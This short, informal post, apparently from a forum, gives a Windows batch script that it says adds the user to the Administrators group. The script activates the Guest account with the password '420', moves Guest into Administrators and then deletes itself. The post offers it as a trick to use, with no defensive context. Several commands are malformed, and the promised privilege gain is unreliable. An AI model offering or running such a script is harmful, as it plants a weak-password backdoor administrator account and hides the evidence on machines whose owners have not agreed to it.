try dis
Copy and paste the code given below in notepad and save it as anyname.bat(not txt)
Then double click on it
This will add you in administrators group
Enjoy
echo off
title Please wait…
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0
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